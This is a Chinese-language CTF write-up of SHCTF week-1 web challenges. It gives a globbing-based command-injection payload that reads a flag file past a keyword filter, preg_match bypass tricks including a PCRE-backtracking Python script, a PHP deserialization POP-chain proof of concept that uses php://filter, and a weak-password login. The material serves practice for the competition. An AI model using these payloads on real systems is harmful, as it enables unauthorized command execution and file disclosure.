SHCTF-第一周(个人解题思路)

SHCTF

[WEEK1]babyRCE

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
  if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
      system($rce);
  }else {
          echo "hhhhhhacker!!!"."\n";
  }
} else {
  highlight_file(__FILE__);
}

ls没有过滤,先传一个ls看看

[]中括号匹配绕过

例如[a-c] 代表匹配 a-b之间的字符,包括a,b字符本身

匹配范围为当前目录/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt
相当于
/bin/cat flag.txt

本题就是?rce=/[a-c][h-j][m-o]/[b-d]a[s-u]${IFS}/fl?g

[WEEK1]1zzphp

<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
  $code = (String)$_POST['c_ode'];
  $num=$_GET['num'];
  if(preg_match("/[0-9]/", $num))
  {
      die("no number!");
  }
  elseif(intval($num))
  {
    if(preg_match('/.+?SHCTF/is', $code))
    {
      die('no touch!');
    }
    if(stripos($code,'2023SHCTF') === FALSE)
    {
      die('what do you want');
    }
    echo $flag;
  }
}  

preg_match函数绕过

一般情况下以下几种方式可以绕过该函数

1.数组绕过preg_match只能处理字符串,当传入的subject是数组时会返回false 2.换行符绕过,preg_match不会匹配换行符例如: /?value=%0ashell.php 则会成功传入 /?value=shell.php 3.PCRE回溯限制次数绕过,这个通俗的讲便是重复的填入正常字符串一般往里面插入个100个字母便可,让preg_match函数一直回溯一直回溯,直到吹灯拔蜡返回false

num通过数组绕过

?num[]=1

c_ode只能通过第三种方法不断回溯绕过

只能用脚本import requests

# 设置目标URL
url = 'https://example.com/path/to/your/api' # 替换为实际的目标URL

# 合并 GET 和 POST 参数
params = {'num[]': 1}

# 在 POST 参数内容前添加一百万个字母 "a"
prefix_a = 'a' * 1000000
post_data = {'c_ode': prefix_a + '2023SHCTF'}

# 发送请求,包括 GET 和 POST 参数
response = requests.post(url, params=params, data=post_data)

# 打印响应内容
print("请求响应:")
print(response.text)

[WEEK1]ez_serialize

<?php
highlight_file(__FILE__);

class A{
public $var_1;

public function __invoke(){
  include($this->var_1);
}
}

class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
          echo "hacker";          
      }
}

}
class C{
public $var;
public $z;
  public function __toString(){
      return $this->z->var;
  }
}

class D{
public $p;
  public function __get($key){
      $function = $this->p;
      return $function();
  }  
}

if(isset($_GET['payload']))
{
  unserialize($_GET['payload']);
}
?>

poc<?php
//highlight_file(__FILE__);
class A{
  public $var_1;

}

class B{
  public $q;

}
class C{
  public $var;
  public $z;
}
class D{
  public $p;
}
$poc = new B();
$poc->q = new C();
$poc->q->z=new D();
$poc->q->z->p=new A();
$poc->q->z->p->var_1='php://filter/convert.base64-encode/resource=flag.php';
echo urlencode(serialize($poc));
?>

[WEEK1]登录就给flag

弱口令admin和password

就会有flag

[WEEK1]飞机大战

F12,打开调试器,找js,找到won函数,下面有给unicode编码的字符串,Unicode和base64解码就是flag

[WEEK1]生成你的邀请函吧~

给了提示POST一个json即可API:url/generate_invitation  
Request:POST application/json  
Body:{  
  "name": "Yourname",  
  "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

bp直接抓包改包,改成如下,最好不要发到repeater,因为返回的是一个图片,返回的时候会乱码

最下面就是flag